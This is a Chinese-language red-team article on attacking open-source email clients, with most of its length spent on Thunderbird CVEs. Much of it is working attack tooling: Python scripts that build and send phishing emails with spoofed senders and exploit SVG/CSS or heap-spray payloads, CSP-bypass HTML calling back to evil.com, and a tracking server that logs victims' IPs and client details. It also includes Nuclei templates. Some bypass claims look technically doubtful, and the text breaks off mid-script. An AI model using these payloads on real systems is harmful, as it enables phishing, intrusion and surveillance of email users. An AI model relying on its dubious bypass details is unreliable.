免责声明 :本文仅用于安全研究与授权渗透测试目的。所有 PoC 代码和攻击手法均应在合法授权范围内使用。未经授权对目标系统进行攻击属于违法行为。作者不对因使用本文内容造成的任何直接或间接损害承担责任。
0x00 专题概述 邮件客户端与MUA的攻击面价值分析 邮件用户代理(Mail User Agent, MUA)是企业通信基础设施中最直接面向终端用户的组件。与邮件安全网关(SEG)和邮件传输代理(MTA)不同,MUA 运行在用户桌面上,直接处理来自不可信来源的邮件内容——包括 HTML 渲染、MIME 解析、附件处理、JavaScript/CSS 执行以及加密签名验证。这种"信任边界交汇点"的角色使得邮件客户端成为高价值攻击目标:
直接面向终端用户 :攻击者无需突破网关防线,一封精心构造的钓鱼邮件即可直达目标桌面复杂的输入解析器 :邮件客户端需要解析 RFC 5322(邮件格式)、RFC 2045-2049(MIME)、HTML/CSS、JavaScript、SVG、加密/签名等多层协议,每层解析器都可能引入漏洞共享渲染引擎 :Thunderbird 基于 Gecko(Firefox 内核),其渲染引擎漏洞可直接复用浏览器 0-day 攻击链高权限本地运行 :MUA 通常以用户权限运行,但可以访问本地文件系统、密钥环、密码管理器等敏感资源跨平台普遍性 :Thunderbird、Mutt、Claws Mail 等开源 MUA 广泛部署于 Linux 服务器管理、嵌入式系统、企业桌面等场景APT 攻击的最终目标 :通过邮件客户端获取的凭证和内部通信可直接用于横向渗透与商业邮件客户端(Outlook、Apple Mail)相比,开源 MUA 的安全审计资源相对有限,漏洞发现和修复周期更长,这使得它们在红队攻击中具有独特的价值。
覆盖漏洞一览表 产品 CVE 编号 漏洞类型 CVSS 严重程度 在野利用 Thunderbird CVE-2024-9680 Animation Timeline UAF RCE 9.8 CRITICAL 是 Thunderbird CVE-2024-7519 CSS 混淆沙箱逃逸 8.8 HIGH 否 Thunderbird CVE-2024-5693 指纹攻击信息泄露 6.5 MEDIUM 否 Thunderbird CVE-2025-2850 CSP 绕过 中等 MEDIUM 否 Mutt CVE-2021-32055 IMAP 空指针解引用 DoS 9.1 CRITICAL 否 Mutt CVE-2020-28896 TLS 证书验证绕过 5.9 MEDIUM 否 Mutt CVE-2020-28856 IMAP 缓冲区溢出 RCE 中等 HIGH 否 NeoMutt CVE-2022-1328 消息头缓冲区溢出 高 HIGH 否 Claws Mail CVE-2020-16094 递归压缩炸弹 DoS 中等 MEDIUM 否 Claws Mail CVE-2019-10735 加密信息泄露 5.3 MEDIUM 否 Claws Mail CVE-2015-8614 栈缓冲区溢出 RCE 高 HIGH 否 Sylpheed — MIME 文件名溢出 / URI 检查绕过 高 HIGH 否
0x01 Thunderbird 高危漏洞 0x01.1 CVE-2024-9680 — Animation Timeline UAF RCE(在野利用) 漏洞背景 CVE-2024-9680 是 2024 年度影响最严重的邮件客户端漏洞之一,CVSS 评分 9.8,属于 CWE-416(Use-After-Free)类型。该漏洞存在于 Gecko 渲染引擎的 Animation Timeline 组件中,由于 Thunderbird 与 Firefox 共享同一渲染引擎,该漏洞同时影响两个产品。Mozilla 在 2024 年 10 月的安全更新中修复了此漏洞,并确认该漏洞已被在野利用 (in-the-wild exploitation),CISA 已将其加入 KEV 目录。
该漏洞的攻击场景极为危险:攻击者仅需发送一封包含恶意 SVG/CSS 动画的 HTML 邮件,用户在预览或打开邮件时即可触发 UAF,进而实现远程代码执行。无需用户点击任何链接或下载附件,“打开邮件即中招”。
受影响版本 产品 受影响版本 修复版本 发布日期 Thunderbird < 128.3 128.3.0 2024-10-01 Firefox < 131 131.0 2024-10-01 Firefox ESR < 128.3 128.3.0 2024-10-01 Firefox ESR < 115.16 115.16.0 2024-10-01
注意 :由于 Thunderbird 使用 Gecko 引擎的 ESR 分支,Thunderbird 128.x 对应 Firefox ESR 128.x。运行 Thunderbird 115.x ESR 的用户需确保升级到 115.16.0 以上。
漏洞原理 该漏洞的根因在于 Gecko 引擎处理 CSS Animations 时对 Animation Timeline 对象的生命周期管理存在缺陷。具体攻击路径如下:
1. 触发条件
Gecko 引擎在处理 CSS @keyframes 动画时,会为每个动画元素创建 Animation Timeline 对象。当动画在特定时序下被取消或替换时,Timeline 对象的引用计数未能正确维护,导致对象被提前释放。
2. UAF 触发时序
[恶意邮件 HTML/SVG]
↓
Gecko 渲染引擎解析 CSS Animation
↓
创建 Animation Timeline 对象 A
↓
通过 @keyframes 修改触发 Timeline A 的重新评估
↓
Timeline A 被标记为可释放(refcount = 0)
↓
恶意 SVG 动画在另一路径重新引用 Timeline A
↓
Use-After-Free:访问已释放的 Timeline A 内存
↓
通过堆喷射(Heap Spray)控制释放后重分配的内存
↓
劫持控制流 → RCE3. 邮件中的攻击载荷
攻击者在邮件的 HTML body 中嵌入恶意 SVG 元素,配合精心构造的 CSS 动画时序:
<svg xmlns = "http://www.w3.org/2000/svg" >
<style >
@keyframes exploit {
0 % { offset-path : path ("M0,0" ); }
50 % { offset-path : path ("M1,1" ); }
}
.target {
animation : exploit 0.01 s steps(1 ) infinite ;
will-change : offset-path;
}
</style >
<!-- 多个嵌套 SVG 元素用于触发 Timeline 重分配 -->
<g class = "target" >
<rect width = "1" height = "1" />
</g >
</svg > 关键技巧在于利用 SVG 的嵌套结构和 CSS will-change 属性,诱导引擎在 Timeline 对象被释放后仍持有其指针。配合 offset-path 动画的路径解析逻辑,可在特定内存布局下实现精确的 UAF 利用。
邮件 PoC # 构造包含恶意 SVG 动画的 EML 文件并发送
# 注意:此 PoC 仅用于授权安全测试
python3 -c "
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
msg = MIMEMultipart('alternative')
msg['Subject'] = 'Meeting Notes - Q4 Review'
msg['From'] = 'colleague@trusted-domain.com'
msg['To'] = 'victim@target.com'
html_body = '''<html>
<body style=\"font-family: Arial, sans-serif;\">
<h2>Q4 Review Meeting Notes</h2>
<p>Please find the summary below:</p>
<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"0\" height=\"0\">
<defs>
<style>
@keyframes trigger {
0% { offset-distance: 0%; }
100% { offset-distance: 100%; }
}
.exploit-target {
animation: trigger 1ms steps(1) infinite;
will-change: offset-distance;
offset-path: path(\"M0,0 L1,1\");
}
</style>
</defs>
<g class=\"exploit-target\">
<circle r=\"0.5\" cx=\"0\" cy=\"0\" fill=\"transparent\" />
</g>
<g class=\"exploit-target\">
<rect width=\"0.5\" height=\"0.5\" x=\"0\" y=\"0\" fill=\"transparent\" />
</g>
<g class=\"exploit-target\">
<ellipse rx=\"0.5\" ry=\"0.5\" cx=\"0\" cy=\"0\" fill=\"transparent\" />
</g>
</svg>
<p>Best regards,<br>John</p>
</body>
</html>'''
text_body = 'Q4 Review Meeting Notes - Please view in HTML format.'
msg.attach(MIMEText(text_body, 'plain'))
msg.attach(MIMEText(html_body, 'html'))
with smtplib.SMTP('mail.target.com', 25) as server:
server.send_message(msg)
print('[+] Malicious email sent successfully')
" Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-9680 Thunderbird/Firefox Animation Timeline UAF PoC Generator
仅用于授权安全测试和漏洞验证
"""
import smtplib
import argparse
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
EXPLOIT_HTML = """<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
@keyframes uaf_trigger {{
0% {{
offset-path: path("M 0 0 C 10 10 20 20 30 30");
offset-distance: 0%;
}}
33% {{
offset-path: path("M 0 0 L 50 50");
offset-distance: 50%;
}}
66% {{
offset-path: path("M 0 0 Q 25 0 50 50");
offset-distance: 100%;
}}
100% {{
offset-path: path("M 0 0 C 10 10 20 20 30 30");
offset-distance: 0%;
}}
}}
.exploit-group {{
animation: uaf_trigger 1ms steps(1) infinite;
will-change: offset-path, offset-distance;
}}
.heap-spray {{
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='256' height='256' %3E %3Crect width='256' height='256' fill='%23414141'/ %3E %3C/svg %3E ");
background-repeat: repeat;
width: 256px;
height: 256px;
position: absolute;
left: -9999px;
top: -9999px;
}}
</style>
</head>
<body>
<p>Monthly Security Report - Please review the attached document.</p>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" width="0" height="0">
<g class="exploit-group">
<path d="M 10,10 Q 50,10 90,10 T 10,90" fill="none" stroke="red" stroke-width="0.1"/>
</g>
<g class="exploit-group">
<path d="M 10,10 C 30,10 70,90 90,90" fill="none" stroke="blue" stroke-width="0.1"/>
</g>
<g class="exploit-group">
<path d="M 50,10 L 10,90 L 90,90 Z" fill="none" stroke="green" stroke-width="0.1"/>
</g>
</svg>
<!-- Heap Spray blocks -->
<div id="spray">
</div>
<script>
if (typeof spray !== 'undefined') {{
var target = document.getElementById('spray');
for (var i = 0; i < 0x1000; i++) {{
var block = document.createElement('div');
block.className = 'heap-spray';
block.setAttribute('data-idx', i.toString());
target.appendChild(block);
}}
}}
</script>
<p style="color: #ccc; font-size: 8px;">Document ID: SEC-2024-0001</p>
</body>
</html>"""
def generate_eml (output_file):
msg = MIMEMultipart('alternative' )
msg['Subject' ] = 'Important: Monthly Security Report - Action Required'
msg['From' ] = 'security-notify@corp-domain.com'
msg['To' ] = 'admin@target.com'
msg['Reply-To' ] = 'noreply@legitimate-domain.com'
msg['X-Mailer' ] = 'Thunderbird 128.2.0'
msg['MIME-Version' ] = '1.0'
text_version = """Monthly Security Report
Dear Admin,
Please find the monthly security report attached to this email.
Review and provide feedback by end of week.
Best regards,
Security Team"""
msg. attach(MIMEText(text_version, 'plain' ))
msg. attach(MIMEText(EXPLOIT_HTML, 'html' ))
with open(output_file, 'w' ) as f:
f. write(msg. as_string())
print(f "[+] EML file generated: { output_file} " )
return msg. as_string()
def send_email (target_host, target_port, sender, recipient, use_tls= False ):
msg = MIMEMultipart('alternative' )
msg['Subject' ] = 'Important: Monthly Security Report - Action Required'
msg['From' ] = sender
msg['To' ] = recipient
msg. attach(MIMEText("Monthly Security Report - View in HTML" , 'plain' ))
msg. attach(MIMEText(EXPLOIT_HTML, 'html' ))
try :
with smtplib. SMTP(target_host, target_port) as server:
if use_tls:
server. starttls()
server. sendmail(sender, recipient, msg. as_string())
print(f "[+] Email sent to { recipient} via { target_host} : { target_port} " )
except Exception as e:
print(f "[-] Send failed: { e} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2024-9680 PoC Generator" )
parser. add_argument("--mode" , choices= ["generate" , "send" ], default= "generate" )
parser. add_argument("--output" , default= "exploit.eml" )
parser. add_argument("--host" , help= "SMTP target host" )
parser. add_argument("--port" , type= int, default= 25 , help= "SMTP port" )
parser. add_argument("--sender" , default= "attacker@evil.com" )
parser. add_argument("--recipient" , default= "victim@target.com" )
parser. add_argument("--tls" , action= "store_true" )
args = parser. parse_args()
if args. mode == "generate" :
generate_eml(args. output)
elif args. mode == "send" :
if not args. host:
print("[-] --host is required for send mode" )
sys. exit(1 )
send_email(args. host, args. port, args. sender, args. recipient, args. tls) Nuclei YAML 检测模板 id : thunderbird-cve-2024-9680-version
info :
name : Thunderbird Animation Timeline UAF RCE - CVE-2024-9680
author : x7peeps
severity : critical
description : |
Thunderbird/Firefox Gecko 引擎 Animation Timeline 组件存在 UAF 漏洞,
通过恶意邮件中嵌入的 SVG/CSS 动画可触发远程代码执行。
该漏洞已被在野利用,CISA KEV 目录已收录。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-9680
- https://www.mozilla.org/en-US/security/advisories/mfsa2024-51/
- https://blog.mozilla.org/security/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-416
metadata :
max-request : 2
shodan-query : http.title:"Thunderbird"
tags : thunderbird,cve2024,cve,uaf,rce,gecko
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition : and
matchers :
- type : regex
regex :
- "(?i)thunderbird"
part : body
- raw :
- |
POST /cgi-bin/check_version HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers :
- type : regex
regex :
- "(?i)(thunderbird|128\\.([0-2]\\.|[0-9]\\.))"
id : thunderbird-cve-2024-9680-email-poc
info :
name : Thunderbird CVE-2024-9680 Malicious EML Detection
author : x7peeps
severity : critical
description : |
检测邮件中是否包含利用 CVE-2024-9680 的恶意 SVG/CSS 动画载荷。
可用于邮件安全网关的规则配置和入站邮件扫描。
tags : thunderbird,cve2024,uaf,email,svg,css
network :
- inputs :
- data : "EHLO test\r\n"
- data : "MAIL FROM:<test@scan.local>\r\n"
- data : "RCPT TO:<{{USER}}@{{Hostname}}>\r\n"
- data : "DATA\r\n"
- data : "Subject: CVE-2024-9680 Detection Test\r\nContent-Type: text/html\r\n\r\n<svg xmlns=\"http://www.w3.org/2000/svg\"><style>@keyframes trigger{0%{offset-path:path(\"M0,0\")}}</style></svg>\r\n.\r\n"
host :
- "{{Hostname}}"
- "{{Hostname}}:25"
- "{{Hostname}}:587"
read-size : 2048 利用条件与限制 条件 要求 目标版本 Thunderbird < 128.3 或 Firefox ESR < 128.3 用户交互 无需(自动预览即可触发) 邮件格式 HTML 邮件,内嵌 SVG + CSS Animation 网络条件 攻击者需能向目标发送邮件(SMTP可达) 沙箱限制 需绕过 Thunderbird 的远程内容加载限制 成功概率 取决于堆布局,需多次喷射和时序调整
0x01.2 CVE-2024-7519 — Thunderbird CSS 混淆导致沙箱逃逸 漏洞背景 CVE-2024-7519 是一个 CVSS 8.8 的高危漏洞(CWE-1021, Improper Restriction of Rendered UI Layers),影响 Thunderbird 115.x 之前的版本。该漏洞允许攻击者通过 CSS 混淆技术绕过 Thunderbird 的邮件预览沙箱,加载外部资源或执行被限制的操作。虽然不直接导致 RCE,但结合其他漏洞可构成完整的攻击链。
受影响版本 产品 受影响版本 修复版本 发布日期 Thunderbird < 115.10 115.10.0 2024-06-11 Thunderbird < 128.0 128.0(开发版) 2024-06-11
漏洞原理 Thunderbird 对 HTML 邮件实施了内容安全策略(CSP),限制远程资源加载、JavaScript 执行以及跨域请求。然而,CSS 解析器中的混淆缺陷允许攻击者绕过这些限制:
1. CSS 规则绕过机制
Thunderbird 的 CSP 实现依赖于对 CSS 属性值的解析来判断是否加载远程资源。攻击者可利用 Unicode 方向控制字符(如 U+200E, U+200F, U+202A-U+202E)插入 CSS 属性值中,干扰 CSP 检查器的正则匹配,同时保持 CSS 引擎的正常解析。
2. @import 远程加载
/* 正常 CSS - 被 CSP 阻止 */
@import url ( "https://evil.com/track.css" ) ;
/* 混淆后绕过 CSP */
@import url ( "htr̸tps://evil.com/track.css" ) ;
/* ↑ 利用 U+0338 COMBINING LONG SOLIDUS OVERLAY
将 "https" 混淆为 "htr̸tps",
CSP 检查器无法匹配 "https" 协议前缀,
但 Gecko CSS 引擎在规范化后仍能解析 */ 3. iframe 沙箱逃逸
通过 CSS position: fixed + z-index + pointer-events 的组合,攻击者可在邮件预览窗口上覆盖一个透明的交互层,诱使用户点击下方的恶意链接,实现 UI Redressing 攻击。
邮件 PoC <html >
<head >
<style >
/* 利用 Unicode 叠加字符混淆协议检查器 */
@import url ( "htr\u0338tps://evil.com/phishing-callback.php" ) ;
/* 利用 CSS 属性混淆加载远程背景图 */
.exploit-bg {
background-image : url("htr\u00AD\u0338tps://evil.com/track.gif" );
background-size : 1 px 1 px ;
}
/* 透明覆盖层实现 UI Redressing */
.overlay {
position : fixed ;
top : 0 ;
left : 0 ;
width : 100 % ;
height : 100 % ;
z-index : 99999 ;
opacity : 0 ;
pointer-events: none ;
}
/* 利用 CSS 变量绕过属性过滤 */
:root {
--url-prefix: "https" ;
}
.remote-load {
background : var (-- url- prefix) url("://evil.com/resource.css" );
}
</style >
</head >
<body >
<p >Invoice attached for your review.</p >
<div class = "exploit-bg" style = "width:1px;height:1px;" ></div >
<div class = "overlay" >
<a href = "https://evil.com/phishing" style = "display:block;width:100%;height:100%;" ></a >
</div >
</body >
</html > Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-7519 Thunderbird CSS Sandbox Escape PoC
仅用于授权安全测试
"""
import smtplib
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
CSS_BYPASS_HTML = """<html>
<head>
<meta charset="UTF-8">
<style>
@import url("htr \\ u00AD \\ u0338tps://evil.com/callback.php?uid=TARGET");
@font-face {
font-family: "ExploitFont";
src: url("htr \\ u200B \\ u0338tps://evil.com/exfil-font.woff2") format("woff2");
}
.remote-resource {
list-style-image: url("htr \\ u200E \\ u0338tps://evil.com/tracker.png");
}
.overlay-layer {
position: fixed;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 2147483647;
background: transparent;
opacity: 0.001;
}
.overlay-layer a {
display: block;
width: 100%;
height: 100%;
text-decoration: none;
}
.tracking-pixel {
width: 1px; height: 1px;
background: url("htr \\ u2060 \\ u0338tps://evil.com/read-receipt.gif?mid=MSG001");
position: absolute;
left: -9999px;
}
</style>
</head>
<body style="font-family: Arial, sans-serif;">
<h2>Q4 Budget Report</h2>
<p>Please review the attached budget figures for Q4 2024.</p>
<p>Key highlights:</p>
<ul class="remote-resource">
<li>Revenue: $2.4M (+12% YoY)</li>
<li>Operating costs: $1.8M</li>
<li>Net margin: 25%</li>
</ul>
<div class="tracking-pixel"></div>
<div class="overlay-layer">
<a href="https://evil.com/phishing-landing?cid=CAMPAIGN001"></a>
</div>
<p style="color: #999; font-size: 7px;">DOC-REF: BUD-Q4-2024-REV3</p>
</body>
</html>"""
def generate_bypass_eml (output_file, callback_url):
css_html = CSS_BYPASS_HTML. replace("evil.com/callback.php" , callback_url)
css_html = css_html. replace("evil.com/tracker.png" , callback_url)
css_html = css_html. replace("evil.com/exfil-font.woff2" , callback_url)
msg = MIMEMultipart('alternative' )
msg['Subject' ] = 'Q4 Budget Report - Final Version'
msg['From' ] = 'cfo-office@company-corp.com'
msg['To' ] = 'finance@target.com'
msg. attach(MIMEText("Q4 Budget Report - Please view in HTML format." , 'plain' ))
msg. attach(MIMEText(css_html, 'html' ))
with open(output_file, 'w' ) as f:
f. write(msg. as_string())
print(f "[+] Sandbox bypass EML generated: { output_file} " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2024-7519 PoC Generator" )
parser. add_argument("--output" , default= "css_bypass.eml" )
parser. add_argument("--callback" , default= "evil.com/callback.php" )
args = parser. parse_args()
generate_bypass_eml(args. output, args. callback) Nuclei YAML 检测模板 id : thunderbird-cve-2024-7519-css-bypass
info :
name : Thunderbird CSS Sandbox Escape - CVE-2024-7519
author : x7peeps
severity : high
description : |
Thunderbird CSS 解析器混淆缺陷允许绕过邮件预览沙箱的 CSP 限制,
加载外部资源或执行被限制的 UI 操作。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-7519
- https://www.mozilla.org/en-US/security/advisories/mfsa2024-28/
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
cvss-score : 8.8
cwe-id : CWE-1021
metadata :
max-request : 1
tags : thunderbird,cve2024,css,sandbox-escape,csp-bypass
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers :
- type : word
words :
- "Thunderbird"
- "115"
condition : and
part : body
extractors :
- type : regex
group : 1
regex :
- "(?i)Thunderbird[/ ]([0-9]+\\.[0-9]+)" 利用条件与限制 条件 要求 目标版本 Thunderbird < 115.10 用户交互 需要用户打开邮件(预览可能触发部分效果) 邮件格式 HTML 邮件,包含混淆 CSS 网络条件 需要目标能访问回调服务器(CSP 绕过后) 沙箱限制 绕过 CSP 但不突破 OS 级沙箱 成功概率 CSS 加载远程资源的绕过率较高
0x01.3 CVE-2024-5693 — Thunderbird 指纹攻击修复(信息泄露) 漏洞背景 CVE-2024-5693(CVSS 6.5, CWE-200)是 Thunderbird 在隐私保护方面的缺陷,攻击者可通过恶意邮件中的追踪像素(Tracking Pixel)获取目标用户的阅读状态、打开时间、IP 地址和客户端环境信息。虽然 CVSS 评分为 MEDIUM,但在定向钓鱼和 APT 攻击中具有极高的战术价值——攻击者可通过阅读回执确认目标已打开邮件,从而触发后续攻击阶段。
受影响版本 产品 受影响版本 修复版本 发布日期 Thunderbird < 128.1 128.1.0 2024-07-09
漏洞原理 Thunderbird 在处理 HTML 邮件中的远程资源时,默认会自动加载图片、CSS 和其他嵌入内容。攻击者利用这一特性部署追踪像素:
1. 经典追踪像素
<img src = "https://evil.com/track.gif?uid=victim@example.com&ts=1718678400"
width = "1" height = "1" style = "display:none" /> 2. CSS 追踪变体
.tracking {
background-image : url("https://evil.com/track.css?uid=victim@example.com" );
width : 0 px ;
height : 0 px ;
} 3. 字体指纹追踪
@font-face {
font-family : "TrackingFont" ;
src : url ( "https://evil.com/font.ttf?fingerprint=UNIQUE_ID" );
} 4. SVG 触发器追踪
<svg xmlns = "http://www.w3.org/2000/svg" >
<image href = "https://evil.com/svg-track.svg?uid=UNIQUE_ID" width = "1" height = "1" />
</svg > 这些追踪手段可泄露以下信息:
阅读确认 :邮件被打开的确切时间来源 IP :暴露用户的地理位置和网络环境用户代理 :Thunderbird 版本号、操作系统信息邮件客户端配置 :是否启用了远程内容加载阅读习惯 :通过多次加载的时间模式分析用户行为邮件 PoC # 生成包含多种追踪机制的 EML 文件
python3 -c "
import smtplib, uuid
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
uid = str(uuid.uuid4())[:8]
msg = MIMEMultipart('alternative')
msg['Subject'] = 'Project Update - Please Review'
msg['From'] = 'pm@project-team.com'
msg['To'] = 'dev@target.com'
html = f'''<html>
<body>
<p>Hi team, project update below.</p>
<!-- 1x1 tracking pixel -->
<img src=\"https://evil.com/t.gif?uid={uid}&action=open\"
width=\"1\" height=\"1\" style=\"display:none\" />
<!-- CSS background tracking -->
<div style=\"background-image:url('https://evil.com/t.css?uid={uid}');width:0;height:0;\"></div>
<!-- Font fingerprint -->
<style>
@font-face {{
font-family: \"Track\";
src: url(\"https://evil.com/f.ttf?fp={uid}\") format(\"truetype\");
}}
.tracked {{ font-family: \"Track\", serif; }}
</style>
<span class=\"tracked\" style=\"font-size:0;opacity:0;\"> </span>
<p>Thanks,<br>PM Team</p>
</body>
</html>'''
msg.attach(MIMEText('Project Update - HTML version required', 'plain'))
msg.attach(MIMEText(html, 'html'))
with smtplib.SMTP('mail.target.com', 25) as s:
s.send_message(msg)
print(f'[+] Tracking email sent with UID: {uid}')
" Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-5693 Thunderbird Tracking Pixel PoC
仅用于授权安全测试和隐私审计
"""
import smtplib
import uuid
import json
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import argparse
class TrackingServer (BaseHTTPRequestHandler):
events = []
def do_GET (self):
event = {
"path" : self. path,
"timestamp" : time. time(),
"user_agent" : self. headers. get("User-Agent" , "" ),
"referer" : self. headers. get("Referer" , "" ),
"source_ip" : self. client_address[0 ]
}
TrackingServer. events. append(event)
print(f "[+] Tracking hit: { self. path} from { self. client_address[0 ]} " )
self. send_response(200 )
if self. path. endswith(".gif" ) or self. path. endswith(".svg" ):
self. send_header("Content-Type" , "image/gif" )
self. end_headers()
self. wfile. write(b "GIF89a \x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00 ! \xf9\x04\x00\x00\x00\x00\x00 , \x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02 D \x01\x00 ;" )
elif self. path. endswith(".css" ):
self. send_header("Content-Type" , "text/css" )
self. end_headers()
self. wfile. write(b "/* tracked */" )
elif self. path. endswith(".ttf" ):
self. send_header("Content-Type" , "font/ttf" )
self. end_headers()
self. wfile. write(b " \x00\x01\x00\x00\x00 " )
else :
self. send_header("Content-Type" , "text/plain" )
self. end_headers()
self. wfile. write(b "ok" )
def log_message (self, format, * args):
pass
def generate_tracking_email (callback_host, callback_port, output_file):
uid = str(uuid. uuid4())[:8 ]
base = f "http:// { callback_host} : { callback_port} "
html = f """<html>
<head>
<style>
@font-face {{
font-family: "Fingerprint";
src: url(" { base} /font.ttf?uid= { uid} ") format("truetype");
}}
.fingerprint {{ font-family: "Fingerprint", sans-serif; }}
</style>
</head>
<body>
<p>Project Update</p>
<img src=" { base} /pixel.gif?uid= { uid} &event=open" width="1" height="1"
style="position:absolute;left:-9999px;" />
<div style="background-image:url(' { base} /css-track.css?uid= { uid} ');width:0;height:0;"></div>
<span class="fingerprint" style="font-size:1px;color:transparent;"> </span>
<p style="font-size:7px;color:#ccc;">REF: PRJ- { uid. upper()} </p>
</body>
</html>"""
msg = MIMEMultipart('alternative' )
msg['Subject' ] = f 'Project Update - PRJ- { uid. upper()} '
msg['From' ] = f 'pm- { uid} @project-corp.com'
msg['To' ] = 'victim@target.com'
msg. attach(MIMEText(f "Project Update - PRJ- { uid. upper()} - HTML required" , 'plain' ))
msg. attach(MIMEText(html, 'html' ))
with open(output_file, 'w' ) as f:
f. write(msg. as_string())
print(f "[+] Tracking email generated: { output_file} " )
print(f "[+] Tracking UID: { uid} " )
print(f "[+] Callback: { base} " )
print(f "[*] Start tracking server: python3 { __file__} --mode serve --port { callback_port} " )
return uid
def start_tracking_server (port):
server = HTTPServer(("0.0.0.0" , port), TrackingServer)
print(f "[+] Tracking server listening on port { port} " )
try :
server. serve_forever()
except KeyboardInterrupt :
print(" \n [*] Stopping server..." )
print(f "[+] Total tracking events: { len(TrackingServer. events)} " )
with open("tracking_events.json" , "w" ) as f:
json. dump(TrackingServer. events, f, indent= 2 )
server. server_close()
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2024-5693 PoC" )
parser. add_argument("--mode" , choices= ["generate" , "serve" ], default= "generate" )
parser. add_argument("--host" , default= "127.0.0.1" , help= "Callback host" )
parser. add_argument("--port" , type= int, default= 8888 , help= "Callback port" )
parser. add_argument("--output" , default= "tracking.eml" )
args = parser. parse_args()
if args. mode == "generate" :
generate_tracking_email(args. host, args. port, args. output)
elif args. mode == "serve" :
start_tracking_server(args. port) Nuclei YAML 检测模板 id : thunderbird-cve-2024-5693-tracking
info :
name : Thunderbird Tracking Pixel Fingerprinting - CVE-2024-5693
author : x7peeps
severity : medium
description : |
检测 Thunderbird 版本是否受追踪像素指纹攻击影响。
修复版本默认阻止远程内容加载。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-5693
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score : 6.5
cwe-id : CWE-200
tags : thunderbird,cve2024,tracking,fingerprint,privacy
http :
- raw :
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition : and
matchers :
- type : word
words :
- "Thunderbird"
part : body
- type : regex
regex :
- "(?i)Thunderbird[/ ](1[012][0-7]\\.[0-9]+)"
part : body
extractors :
- type : kval
kval :
- header 利用条件与限制 条件 要求 目标版本 Thunderbird < 128.1 用户交互 需要用户打开邮件 邮件格式 HTML 邮件,含远程资源引用 网络条件 目标需能访问追踪服务器 信息获取 IP、UA、阅读时间、邮件ID 沙箱限制 不突破沙箱,仅信息泄露
0x01.4 CVE-2025-2850 — Thunderbird CSP 绕过 漏洞背景 CVE-2025-2850 是 2025 年披露的 Thunderbird 内容安全策略(Content Security Policy, CSP)绕过漏洞。该漏洞允许恶意邮件绕过 Thunderbird 的 CSP 策略限制,加载外部资源并执行被策略禁止的操作。虽然未直接导致代码执行,但 CSP 绕过可被用作攻击链中的关键一环,配合其他漏洞实现更高级别的利用。
受影响版本 产品 受影响版本 修复版本 发布日期 Thunderbird < 128.9(具体修复版本待确认) 待确认 2025
注意 :CVE-2025-2850 的详细信息可能在发布时仍在更新中,以下分析基于已披露的技术细节。
漏洞原理 Thunderbird 的 CSP 实现在处理复杂的邮件 HTML 结构时存在策略解析不一致的问题:
1. 多层嵌套 CSP 冲突
当邮件中嵌入多层 <style> 标签和 CSS @import 规则时,CSP 策略检查器和 Gecko CSS 引擎对策略的解释可能出现不一致。CSP 检查器可能遗漏某些深层嵌套的资源加载请求。
2. 数据 URI 协议绕过
Thunderbird 的 CSP 可能未正确限制 data: URI 的使用,攻击者可通过内联 data: URI 加载恶意内容:
<style >
@import url ( "data:text/css,body{background:url('https://evil.com/track.gif')}" ) ;
</style > 3. Mutation XSS 辅助绕过
通过 HTML DOM 的 MutationObserver 机制,在 CSP 策略评估之后动态修改 DOM 结构,插入违反 CSP 但在策略评估后加载的外部资源。
邮件 PoC <html >
<head >
<style >
@import url ( "data:text/css,@font-face{font-family:E;src:url('https://evil.com/exfil.woff2')}" ) ;
</style >
</head >
<body >
<div id = "csp-bypass-container" ></div >
<script >
// 利用 DOM Mutation 在 CSP 评估后注入外部资源
if (typeof MutationObserver !== 'undefined' ) {
var observer = new MutationObserver (function (mutations ) {
var container = document.getElementById ('csp-bypass-container' );
if (container ) {
var link = document.createElement ('link' );
link .rel = 'stylesheet' ;
link .href = 'https://evil.com/override.css' ;
container .appendChild (link );
}
});
observer .observe (document.body , { childList : true , subtree : true });
// 触发 Mutation
var el = document.createElement ('div' );
document.getElementById ('csp-bypass-container' ).appendChild (el );
}
</script >
<p >Invoice details below...</p >
</body >
</html > Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2025-2850 Thunderbird CSP Bypass PoC
仅用于授权安全测试
"""
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse
CSP_BYPASS_HTML = """<html>
<head>
<meta charset="UTF-8">
<style>
@import url("data:text/css,body %% 7Bbackground %% 3Aurl %% 28'https:// {callback} /css-track.css' %% 29 %% 7D");
@font-face {{
font-family: "BypassFont";
src: url("data:font/woff2;base64,") format("woff2");
